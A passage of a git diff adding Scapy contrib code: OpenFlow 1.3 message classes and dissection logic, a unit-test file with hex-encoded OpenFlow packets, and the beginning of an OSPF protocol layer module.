+                                                 length_from=lambda pkt:pkt.length-4) ]
+
+class OFPTableID(Packet):
+    def extract_padding(self, s):
+        return "", s
+    name = "OFP_TABLE_ID"
+    fields_desc = [ ByteEnumField("table_id", 0, ofp_table) ]
+
+class OFPTFPTNextTables(_ofp_table_features_prop_header):
+    name = "OFPTFPT_NEXT_TABLES"
+    fields_desc = [ ShortField("type", 2),
+                    ShortField("length", None),
+                    PacketListField("next_table_ids", None, OFPTableID,
+                                    length_from=lambda pkt:pkt.length-4) ]
+
+class OFPTFPTNextTablesMiss(_ofp_table_features_prop_header):
+    name = "OFPTFPT_NEXT_TABLES_MISS"
+    fields_desc = [ ShortField("type", 3),
+                    ShortField("length", None),
+                    PacketListField("next_table_ids", None, OFPTableID,
+                                    length_from=lambda pkt:pkt.length-4) ]
+
+class OFPTFPTWriteActions(_ofp_table_features_prop_header):
+    name = "OFPTFPT_WRITE_ACTIONS"
+    fields_desc = [ ShortField("type", 4),
+                    ShortField("length", None),
+                    ActionIDPacketListField("action_ids", [], Packet,
+                                            length_from=lambda pkt:pkt.length-4) ]
+
+class OFPTFPTWriteActionsMiss(_ofp_table_features_prop_header):
+    name = "OFPTFPT_WRITE_ACTIONS_MISS"
+    fields_desc = [ ShortField("type", 5),
+                    ShortField("length", None),
+                    ActionIDPacketListField("action_ids", [], Packet,
+                                            length_from=lambda pkt:pkt.length-4) ]
+
+class OFPTFPTApplyActions(_ofp_table_features_prop_header):
+    name = "OFPTFPT_APPLY_ACTIONS"
+    fields_desc = [ ShortField("type", 6),
+                    ShortField("length", None),
+                    ActionIDPacketListField("action_ids", [], Packet,
+                                            length_from=lambda pkt:pkt.length-4) ]
+
+class OFPTFPTApplyActionsMiss(_ofp_table_features_prop_header):
+    name = "OFPTFPT_APPLY_ACTIONS_MISS"
+    fields_desc = [ ShortField("type", 7),
+                    ShortField("length", None),
+                    ActionIDPacketListField("action_ids", [], Packet,
+                                            length_from=lambda pkt:pkt.length-4) ]
+
+class OFPTFPTMatch(_ofp_table_features_prop_header):
+    name = "OFPTFPT_MATCH"
+    fields_desc = [ ShortField("type", 8),
+                    ShortField("length", None),
+                    OXMIDPacketListField("oxm_ids", [], Packet,
+                                         length_from=lambda pkt:pkt.length-4) ]
+
+class OFPTFPTWildcards(_ofp_table_features_prop_header):
+    name = "OFPTFPT_WILDCARDS"
+    fields_desc = [ ShortField("type", 10),
+                    ShortField("length", None),
+                    OXMIDPacketListField("oxm_ids", [], Packet,
+                                         length_from=lambda pkt:pkt.length-4) ]
+
+class OFPTFPTWriteSetField(_ofp_table_features_prop_header):
+    name = "OFPTFPT_WRITE_SETFIELD"
+    fields_desc = [ ShortField("type", 12),
+                    ShortField("length", None),
+                    OXMIDPacketListField("oxm_ids", [], Packet,
+                                         length_from=lambda pkt:pkt.length-4) ]
+
+class OFPTFPTWriteSetFieldMiss(_ofp_table_features_prop_header):
+    name = "OFPTFPT_WRITE_SETFIELD_MISS"
+    fields_desc = [ ShortField("type", 13),
+                    ShortField("length", None),
+                    OXMIDPacketListField("oxm_ids", [], Packet,
+                                         length_from=lambda pkt:pkt.length-4) ]
+
+class OFPTFPTApplySetField(_ofp_table_features_prop_header):
+    name = "OFPTFPT_APPLY_SETFIELD"
+    fields_desc = [ ShortField("type", 14),
+                    ShortField("length", None),
+                    OXMIDPacketListField("oxm_ids", [], Packet,
+                                         length_from=lambda pkt:pkt.length-4) ]
+
+class OFPTFPTApplySetFieldMiss(_ofp_table_features_prop_header):
+    name = "OFPTFPT_APPLY_SETFIELD_MISS"
+    fields_desc = [ ShortField("type", 15),
+                    ShortField("length", None),
+                    OXMIDPacketListField("oxm_ids", [], Packet,
+                                         length_from=lambda pkt:pkt.length-4) ]
+
+class OFPTFPTExperimenter(_ofp_table_features_prop_header):
+    name = "OFPTFPT_EXPERIMENTER"
+    fields_desc = [ ShortField("type", 65534),
+                    ShortField("length", None),
+                    IntField("experimenter", 0),
+                    IntField("exp_type", 0),
+                    PacketField("experimenter_data", None, Raw) ]
+
+class OFPTFPTExperimenterMiss(_ofp_table_features_prop_header):
+    name = "OFPTFPT_EXPERIMENTER_MISS"
+    fields_desc = [ ShortField("type", 65535),
+                    ShortField("length", None),
+                    IntField("experimenter", 0),
+                    IntField("exp_type", 0),
+                    PacketField("experimenter_data", None, Raw) ]
+
+ofp_table_features_prop_cls = {     0: OFPTFPTInstructions,
+                                    1: OFPTFPTInstructionsMiss,
+                                    2: OFPTFPTNextTables,
+                                    3: OFPTFPTNextTablesMiss,
+                                    4: OFPTFPTWriteActions,
+                                    5: OFPTFPTWriteActionsMiss,
+                                    6: OFPTFPTApplyActions,
+                                    7: OFPTFPTApplyActionsMiss,
+                                    8: OFPTFPTMatch,
+                                   10: OFPTFPTWildcards,
+                                   12: OFPTFPTWriteSetField,
+                                   13: OFPTFPTWriteSetFieldMiss,
+                                   14: OFPTFPTApplySetField,
+                                   15: OFPTFPTApplySetFieldMiss,
+                                65534: OFPTFPTExperimenter,
+                                65535: OFPTFPTExperimenterMiss }
+
+class TableFeaturesPropPacketListField(PacketListField):
+
+    @staticmethod
+    def _get_table_features_prop_length(s):
+        return struct.unpack("!H", s[2:4])[0]
+
+    def m2i(self, pkt, s):
+        t = struct.unpack("!H", s[:2])[0]
+        return ofp_table_features_prop_cls.get(t, Raw)(s)
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+    
+        while remain and len(remain) >= 4:
+            l = TableFeaturesPropPacketListField._get_table_features_prop_length(remain)
+            # add padding !
+            lpad = l + (8 - l%8)%8
+            if l < 4 or len(remain) < lpad:
+            # no zero length nor incoherent length
+                break
+            current = remain[:lpad]
+            remain = remain[lpad:]
+            p = self.m2i(pkt, current)
+            lst.append(p)
+
+        return remain, lst
+
+class OFPTableFeatures(Packet):
+    def post_build(self, p, pay):
+        if self.length is None:
+            l = len(p)+len(pay)
+            p = struct.pack("!H", l) + p[2:]
+        return p + pay
+    name = "OFP_TABLE_FEATURES"
+    fields_desc = [ ShortField("length", None),
+                    ByteEnumField("table_id", 0, ofp_table),
+                    XBitField("pad", 0, 40),
+                    StrFixedLenField("table_name", "", 32),
+                    LongField("metadata_match", 0),
+                    LongField("metadata_write", 0),
+                    IntEnumField("config", 0, { 0: "OFPTC_NO_MASK",
+                                                3: "OFPTC_DEPRECATED_MASK" }),
+                    IntField("max_entries", 0),
+                    TableFeaturesPropPacketListField("properties", [], Packet,
+                                                     length_from=lambda pkt:pkt.length-64) ]
+
+class TableFeaturesPacketListField(PacketListField):
+
+    @staticmethod
+    def _get_table_features_length(s):
+        return struct.unpack("!H", s[:2])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain:
+            l = TableFeaturesPacketListField._get_table_features_length(remain)
+            current = remain[:l]
+            remain = remain[l:]
+            p = OFPTableFeatures(current)
+            lst.append(p)
+
+        return remain, lst
+
+class OFPMPRequestTableFeatures(_ofp_header):
+    name = "OFPMP_REQUEST_TABLE_FEATURES"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 12, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_request_flags),
+                    XIntField("pad1", 0),
+                    TableFeaturesPacketListField("table_features", [], Packet,
+                                                 length_from=lambda pkt:pkt.len-16) ] 
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPMPReplyTableFeatures(_ofp_header):
+    name = "OFPMP_REPLY_TABLE_FEATURES"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 12, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_reply_flags),
+                    XIntField("pad1", 0),
+                    TableFeaturesPacketListField("table_features", [], Packet,
+                                                 length_from=lambda pkt:pkt.len-16) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+############### end of table features ###############
+
+class OFPMPRequestPortDesc(_ofp_header):
+    name = "OFPMP_REQUEST_PORT_DESC"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 13, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_request_flags),
+                    XIntField("pad1", 0),
+                    IntEnumField("port_no", 0, ofp_port_no),
+                    XIntField("pad", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPMPReplyPortDesc(_ofp_header):
+    name = "OFPMP_REPLY_PORT_DESC"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 13, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_reply_flags),
+                    XIntField("pad1", 0),
+                    PacketListField("ports", None, OFPPort,
+                                    length_from=lambda pkt:pkt.len-16) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPMPRequestExperimenter(_ofp_header):
+    name = "OFPST_REQUEST_EXPERIMENTER"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 18, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 65535, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_request_flags),
+                    XIntField("pad1", 0),
+                    IntField("experimenter", 0),
+                    IntField("exp_type", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPMPReplyExperimenter(_ofp_header):
+    name = "OFPST_REPLY_EXPERIMENTER"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 19, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("mp_type", 65535, ofp_multipart_types),
+                    FlagsField("flags", 0, 16, ofpmp_reply_flags),
+                    XIntField("pad1", 0),
+                    IntField("experimenter", 0),
+                    IntField("exp_type", 0) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+# ofp_multipart_request/reply_cls allows generic method OpenFlow()
+# to choose the right class for dissection
+ofp_multipart_request_cls = {     0: OFPMPRequestDesc,
+                                  1: OFPMPRequestFlow,
+                                  2: OFPMPRequestAggregate,
+                                  3: OFPMPRequestTable,
+                                  4: OFPMPRequestPortStats,
+                                  5: OFPMPRequestQueue,
+                                  6: OFPMPRequestGroup,
+                                  7: OFPMPRequestGroupDesc,
+                                  8: OFPMPRequestGroupFeatures,
+                                  9: OFPMPRequestMeter,
+                                 10: OFPMPRequestMeterConfig,
+                                 11: OFPMPRequestMeterFeatures,
+                                 12: OFPMPRequestTableFeatures,
+                                 13: OFPMPRequestPortDesc,
+                              65535: OFPMPRequestExperimenter }
+
+ofp_multipart_reply_cls = {     0: OFPMPReplyDesc,
+                                1: OFPMPReplyFlow,
+                                2: OFPMPReplyAggregate,
+                                3: OFPMPReplyTable,
+                                4: OFPMPReplyPortStats,
+                                5: OFPMPReplyQueue,
+                                6: OFPMPReplyGroup,
+                                7: OFPMPReplyGroupDesc,
+                                8: OFPMPReplyGroupFeatures,
+                                9: OFPMPReplyMeter,
+                               10: OFPMPReplyMeterConfig,
+                               11: OFPMPReplyMeterFeatures,
+                               12: OFPMPReplyTableFeatures,
+                               13: OFPMPReplyPortDesc,
+                            65535: OFPMPReplyExperimenter }
+
+############## end of OFPT_MULTIPART ################
+
+class OFPTBarrierRequest(_ofp_header):
+    name = "OFPT_BARRIER_REQUEST"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 20, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTBarrierReply(_ofp_header):
+    name = "OFPT_BARRIER_REPLY"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 21, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTQueueGetConfigRequest(_ofp_header):
+    name = "OFPT_QUEUE_GET_CONFIG_REQUEST"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 22, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    IntEnumField("port_no", "ANY", ofp_port_no),
+                    XIntField("pad", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTQueueGetConfigReply(_ofp_header):
+    name = "OFPT_QUEUE_GET_CONFIG_REPLY"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 23, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    IntEnumField("port", 0, ofp_port_no),
+                    XIntField("pad", 0),
+                    QueuePacketListField("queues", [], Packet,
+                                         length_from=lambda pkt:pkt.len-16) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTRoleRequest(_ofp_header):
+    name = "OFPT_ROLE_REQUEST"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 24, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    IntEnumField("role", 0, { 0: "OFPCR_ROLE_NOCHANGE",
+                                              1: "OFPCR_ROLE_EQUAL",
+                                              2: "OFPCR_ROLE_MASTER",
+                                              3: "OFPCR_ROLE_SLAVE" }),
+                    XIntField("pad", 0),
+                    LongField("generation_id", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTRoleReply(_ofp_header):
+    name = "OFPT_ROLE_REPLY"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 25, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    IntEnumField("role", 0, { 0: "OFPCR_ROLE_NOCHANGE",
+                                              1: "OFPCR_ROLE_EQUAL",
+                                              2: "OFPCR_ROLE_MASTER",
+                                              3: "OFPCR_ROLE_SLAVE" }),
+                    XIntField("pad", 0),
+                    LongField("generation_id", 0) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTGetAsyncRequest(_ofp_header):
+    name = "OFPT_GET_ASYNC_REQUEST"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 26, ofp_type),
+                    ShortField("len", 8),
+                    IntField("xid", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+ofp_packet_in_reason = [ "NO_MATCH",
+                         "ACTION",
+                         "INVALID_TTL" ]
+
+ofp_port_reason = [ "ADD",
+                    "DELETE",
+                    "MODIFY" ]
+
+ofp_flow_removed_reason = [ "IDLE_TIMEOUT",
+                            "HARD_TIMEOUT",
+                            "DELETE",
+                            "GROUP_DELETE" ]
+
+class OFPTGetAsyncReply(_ofp_header):
+    name = "OFPT_GET_ASYNC_REPLY"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 27, ofp_type),
+                    ShortField("len", 32),
+                    IntField("xid", 0),
+                    FlagsField("packet_in_mask_master", 0, 32, ofp_packet_in_reason),
+                    FlagsField("packet_in_mask_slave", 0, 32, ofp_packet_in_reason),
+                    FlagsField("port_status_mask_master", 0, 32, ofp_port_reason),
+                    FlagsField("port_status_mask_slave", 0, 32, ofp_port_reason),
+                    FlagsField("flow_removed_mask_master", 0, 32, ofp_flow_removed_reason),
+                    FlagsField("flow_removed_mask_slave", 0, 32, ofp_flow_removed_reason) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTSetAsync(_ofp_header):
+    name = "OFPT_SET_ASYNC"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 28, ofp_type),
+                    ShortField("len", 32),
+                    IntField("xid", 0),
+                    FlagsField("packet_in_mask_master", 0, 32, ofp_packet_in_reason),
+                    FlagsField("packet_in_mask_slave", 0, 32, ofp_packet_in_reason),
+                    FlagsField("port_status_mask_master", 0, 32, ofp_port_reason),
+                    FlagsField("port_status_mask_slave", 0, 32, ofp_port_reason),
+                    FlagsField("flow_removed_mask_master", 0, 32, ofp_flow_removed_reason),
+                    FlagsField("flow_removed_mask_slave", 0, 32, ofp_flow_removed_reason) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTMeterMod(_ofp_header):
+    name = "OFPT_METER_MOD"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 29, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("cmd", 0, { 0: "OFPMC_ADD",
+                                               1: "OFPMC_MODIFY",
+                                               2: "OFPMC_DELETE" }),
+                    FlagsField("flags", 0, 16, [ "KBPS",
+                                                 "PKTPS",
+                                                 "BURST",
+                                                 "STATS" ]),
+                    IntEnumField("meter_id", 1, ofp_meter),
+                    MeterBandPacketListField("bands", [], Packet,
+                                             length_from=lambda pkt:pkt.len-16) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+# ofpt_cls allows generic method OpenFlow() to choose the right class for dissection
+ofpt_cls = {  0: OFPTHello,
+              #1: OFPTError,
+              2: OFPTEchoRequest,
+              3: OFPTEchoReply,
+              4: OFPTExperimenter,
+              5: OFPTFeaturesRequest,
+              6: OFPTFeaturesReply,
+              7: OFPTGetConfigRequest,
+              8: OFPTGetConfigReply,
+              9: OFPTSetConfig,
+             10: OFPTPacketIn,
+             11: OFPTFlowRemoved,
+             12: OFPTPortStatus,
+             13: OFPTPacketOut,
+             14: OFPTFlowMod,
+             15: OFPTGroupMod,
+             16: OFPTPortMod,
+             17: OFPTTableMod,
+             #18: OFPTMultipartRequest,
+             #19: OFPTMultipartReply,
+             20: OFPTBarrierRequest,
+             21: OFPTBarrierReply,
+             22: OFPTQueueGetConfigRequest,
+             23: OFPTQueueGetConfigReply,
+             24: OFPTRoleRequest,
+             25: OFPTRoleReply,
+             26: OFPTGetAsyncRequest,
+             27: OFPTGetAsyncReply,
+             28: OFPTSetAsync,
+             29: OFPTMeterMod }
+
+TCP_guess_payload_class_copy = TCP.guess_payload_class
+
+def OpenFlow(self, payload):
+    if self is None or self.dport == 6653 or self.dport == 6633 or self.sport == 6653 or self.sport == 6633:
+    # port 6653 has been allocated by IANA, port 6633 should no longer be used
+    # OpenFlow function may be called with None self in OFPPacketField
+        of_type = orb(payload[1])
+        if of_type == 1:
+            err_type = orb(payload[9])
+            # err_type is a short int, but last byte is enough
+            if err_type == 255: err_type = 65535
+            return ofp_error_cls[err_type]
+        elif of_type == 18:
+            mp_type = orb(payload[9])
+            if mp_type == 255: mp_type = 65535
+            return ofp_multipart_request_cls[mp_type]
+        elif of_type == 19:
+            mp_type = orb(payload[9])
+            if mp_type == 255: mp_type = 65535
+            return ofp_multipart_reply_cls[mp_type]
+        else:
+            return ofpt_cls[of_type]
+    else:
+        return TCP_guess_payload_class_copy(self, payload)
+
+TCP.guess_payload_class = OpenFlow
diff --git a/scapy/contrib/openflow3.uts b/scapy/contrib/openflow3.uts
new file mode 100755
index 0000000..291ed0e
--- /dev/null
+++ b/scapy/contrib/openflow3.uts
@@ -0,0 +1,90 @@
+% Tests for OpenFlow v1.3 with Scapy
+
++ Fields
+
+= GroupDescPacketListField(), check getfield
+remain, lst = GroupDescPacketListField(None, None, None).getfield(None, b'\x00\x10')
+not remain
+all([OFPGroupDesc in gd for gd in lst])
+lst[0].length == 0x0010
+
++ Usual OFv1.3 messages
+
+= OFPTHello(), hello without version bitmap
+ofm = OFPTHello()
+raw(ofm) == b'\x04\x00\x00\x08\x00\x00\x00\x00'
+
+= OFPTEchoRequest(), echo request
+ofm = OFPTEchoRequest()
+raw(ofm) == b'\x04\x02\x00\x08\x00\x00\x00\x00'
+
+= OFPMatch(), check padding
+ofm = OFPMatch(oxm_fields=OFBEthType(eth_type=0x86dd))
+assert(len(raw(ofm))%8 == 0)
+raw(ofm) == b'\x00\x01\x00\x0a\x80\x00\x0a\x02\x86\xdd\x00\x00\x00\x00\x00\x00'
+
+= OpenFlow(), generic method test with OFPTEchoRequest()
+ofm = OFPTEchoRequest()
+s = raw(ofm)
+isinstance(OpenFlow(None,s)(s), OFPTEchoRequest)
+
+= OFPTFlowMod(), check codes and defaults values
+ofm = OFPTFlowMod(cmd='OFPFC_DELETE', out_group='ALL', flags='CHECK_OVERLAP+NO_PKT_COUNTS')
+assert(ofm.cmd == 3)
+assert(ofm.out_port == 0xffffffff)
+assert(ofm.out_group == 0xfffffffc)
+ofm.flags == 10
+
+= OFBIPv6ExtHdrHMID(), check creation of last OXM classes
+assert(hasattr(OFBIPv6ExtHdr(), 'ipv6_ext_hdr_flags'))
+OFBIPv6ExtHdrHMID().field == 39
+
++ Complex OFv1.3 messages
+
+= OFPTFlowMod(), complex flow_mod
+mtc = OFPMatch(oxm_fields=OFBVLANVID(vlan_vid=10))
+ist1 = OFPITApplyActions(actions=[OFPATSetField(field=OFBIPv4Src(ipv4_src='192.168.10.41')),OFPATSetField(field=OFBEthSrc(eth_src='1a:d5:cb:4e:3c:64')),OFPATOutput(port='NORMAL')])
+ist2 = OFPITWriteActions(actions=OFPATOutput(port='CONTROLLER'))
+ofm = OFPTFlowMod(table_id=2, match=mtc, instructions=[ist1,ist2])
+hexdump(ofm)
+s = b'\x04\x0e\x00\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x01\x00\x0a\x80\x00\x0c\x02\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x04\x00\x38\x00\x00\x00\x00\x00\x19\x00\x10\x80\x00\x16\x04\xc0\xa8\x0a\x29\x00\x00\x00\x00\x00\x19\x00\x10\x80\x00\x08\x06\x1a\xd5\xcb\x4e\x3c\x64\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfa\xff\xff\x00\x00\x00\x00\x00\x00\x00\x03\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00'
+raw(ofm) == s
+
+= OFPETBadRequest() containing a flow_mod with wrong table_id
+flowmod = OFPTFlowMod(instructions=OFPITGotoTable(table_id=0))
+ofm = OFPETBadRequest(errcode='OFPBRC_BAD_TABLE_ID', data=raw(flowmod))
+hexdump(ofm)
+s = b'\x04\x01\x00L\x00\x00\x00\x00\x00\x01\x00\t\x04\x0e\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00'
+raw(ofm) == s
+
+= OFPTPacketIn() containing an Ethernet frame
+ofm = OFPTPacketIn(data=Ether()/IP()/ICMP())
+p = OFPTPacketIn(raw(ofm))
+dat = p.data
+assert(isinstance(dat, Ether))
+assert(isinstance(dat.payload, IP))
+isinstance(dat.payload.payload, ICMP)
+
++ Layer bindings
+
+= TCP()/OFPMPRequestDesc(), check default sport
+p = TCP()/OFPMPRequestDesc()
+p[TCP].sport == 6653
+
+= TCP()/OFPETHelloFailed(), check default dport
+p = TCP()/OFPETHelloFailed()
+p[TCP].dport == 6653
+
+= TCP()/OFPTHello() dissection, check new TCP.guess_payload_class
+o = TCP()/OFPTHello()
+p = TCP(raw(o))
+p[TCP].sport == 6653
+isinstance(p[TCP].payload, OFPTHello)
+
+= complete Ether()/IP()/TCP()/OFPTFeaturesRequest()
+ofm = Ether(src='00:11:22:33:44:55',dst='01:23:45:67:89:ab')/IP(src='10.0.0.7',dst='192.168.0.42')/TCP(sport=6633)/OFPTFeaturesRequest(xid=23)
+s = b'\x01#Eg\x89\xab\x00\x11"3DU\x08\x00E\x00\x000\x00\x01\x00\x00@\x06\xaf\xee\n\x00\x00\x07\xc0\xa8\x00*\x19\xe9\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xa6\xa4\x00\x00\x04\x05\x00\x08\x00\x00\x00\x17'
+assert(raw(ofm) == s)
+e = Ether(s)
+e.show2()
+e[OFPTFeaturesRequest].xid == 23
diff --git a/scapy/contrib/ospf.py b/scapy/contrib/ospf.py
new file mode 100644
index 0000000..129ba3c
--- /dev/null
+++ b/scapy/contrib/ospf.py
@@ -0,0 +1,758 @@
+#!/usr/bin/env python
+
+# scapy.contrib.description = OSPF
+# scapy.contrib.status = loads
+
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+"""
+OSPF extension for Scapy <http://www.secdev.org/scapy>
+
+This module provides Scapy layers for the Open Shortest Path First
+routing protocol as defined in RFC 2328 and RFC 5340.
+
+Copyright (c) 2008 Dirk Loss  :  mail dirk-loss de
+Copyright (c) 2010 Jochen Bartl  :  jochen.bartl gmail com
+"""
+
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import *
+from scapy.layers.inet6 import *
+from scapy.compat import orb
+
+EXT_VERSION = "v0.9.2"
+
+
+class OSPFOptionsField(FlagsField):
+
+    def __init__(self, name="options", default=0, size=8,
+                 names=None):
+        if names is None:
+            names = ["MT", "E", "MC", "NP", "L", "DC", "O", "DN"]
+        FlagsField.__init__(self, name, default, size, names)
+
+
+_OSPF_types = {1: "Hello",
+               2: "DBDesc",
+               3: "LSReq",
+               4: "LSUpd",
+               5: "LSAck"}
+
+
+class OSPF_Hdr(Packet):
+    name = "OSPF Header"
+    fields_desc = [
+                    ByteField("version", 2),
+                    ByteEnumField("type", 1, _OSPF_types),
+                    ShortField("len", None),
+                    IPField("src", "1.1.1.1"),
+                    IPField("area", "0.0.0.0"), # default: backbone
+                    XShortField("chksum", None),
+                    ShortEnumField("authtype", 0, {0:"Null", 1:"Simple", 2:"Crypto"}),
+                    # Null or Simple Authentication
+                    ConditionalField(XLongField("authdata", 0), lambda pkt:pkt.authtype != 2),
+                    # Crypto Authentication
+                    ConditionalField(XShortField("reserved", 0), lambda pkt:pkt.authtype == 2),
+                    ConditionalField(ByteField("keyid", 1), lambda pkt:pkt.authtype == 2),
+                    ConditionalField(ByteField("authdatalen", 0), lambda pkt:pkt.authtype == 2),
+                    ConditionalField(XIntField("seq", 0), lambda pkt:pkt.authtype == 2),
+                    # TODO: Support authdata (which is appended to the packets as if it were padding)
+                    ]
+
+    def post_build(self, p, pay):
+        # TODO: Remove LLS data from pay
+        # LLS data blocks may be attached to OSPF Hello and DD packets
+        # The length of the LLS block shall not be included into the length of OSPF packet
+        # See <http://tools.ietf.org/html/rfc5613>
+        p += pay
+        l = self.len
+        if l is None:
+            l = len(p)
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+        if self.chksum is None:
+            if self.authtype == 2:
+                ck = 0   # Crypto, see RFC 2328, D.4.3
+            else:
+                # Checksum is calculated without authentication data
+                # Algorithm is the same as in IP()
+                ck = checksum(p[:16] + p[24:])
+                p = p[:12] + struct.pack("!H", ck) + p[14:]
+            # TODO: Handle Crypto: Add message digest  (RFC 2328, D.4.3)
+        return p
+
+    def hashret(self):
+        return struct.pack("H", self.area) + self.payload.hashret()
+
+    def answers(self, other):
+        if (isinstance(other, OSPF_Hdr) and
+            self.area == other.area and
+            self.type == 5):  # Only acknowledgements answer other packets
+                return self.payload.answers(other.payload)
+        return 0
+
+
+class OSPF_Hello(Packet):
+    name = "OSPF Hello"
+    fields_desc = [IPField("mask", "255.255.255.0"),
+                   ShortField("hellointerval", 10),
+                   OSPFOptionsField(),
+                   ByteField("prio", 1),
+                   IntField("deadinterval", 40),
+                   IPField("router", "0.0.0.0"),
+                   IPField("backup", "0.0.0.0"),
+                   FieldListField("neighbors", [], IPField("", "0.0.0.0"), length_from=lambda pkt: (pkt.underlayer.len - 44))]
+
+    def guess_payload_class(self, payload):
+        # check presence of LLS data block flag
+        if self.options & 0x10 == 0x10:
+            return OSPF_LLS_Hdr
+        else:
+            return Packet.guess_payload_class(self, payload)
+
+
+class LLS_Generic_TLV(Packet):
+    name = "LLS Generic"
+    fields_desc = [ShortField("type", 1),
+                   FieldLenField("len", None, length_of=lambda x: x.val),
+                   StrLenField("val", "", length_from=lambda x: x.len)]
+
+    def guess_payload_class(self, p):
+        return conf.padding_layer
+
+
+class LLS_ExtendedOptionsField(FlagsField):
+
+    def __init__(self, name="options", default=0, size=32,
+                 names=None):
+        if names is None:
+            names = ["LR", "RS"]
+        FlagsField.__init__(self, name, default, size, names)
+
+
+class LLS_Extended_Options(LLS_Generic_TLV):
+    name = "LLS Extended Options and Flags"
+    fields_desc = [ShortField("type", 1),
+                   ShortField("len", 4),
+                   LLS_ExtendedOptionsField()]
+
+
+class LLS_Crypto_Auth(LLS_Generic_TLV):
+    name = "LLS Cryptographic Authentication"
+    fields_desc = [ShortField("type", 2),
+                   FieldLenField("len", 20, fmt="B", length_of=lambda x: x.authdata),
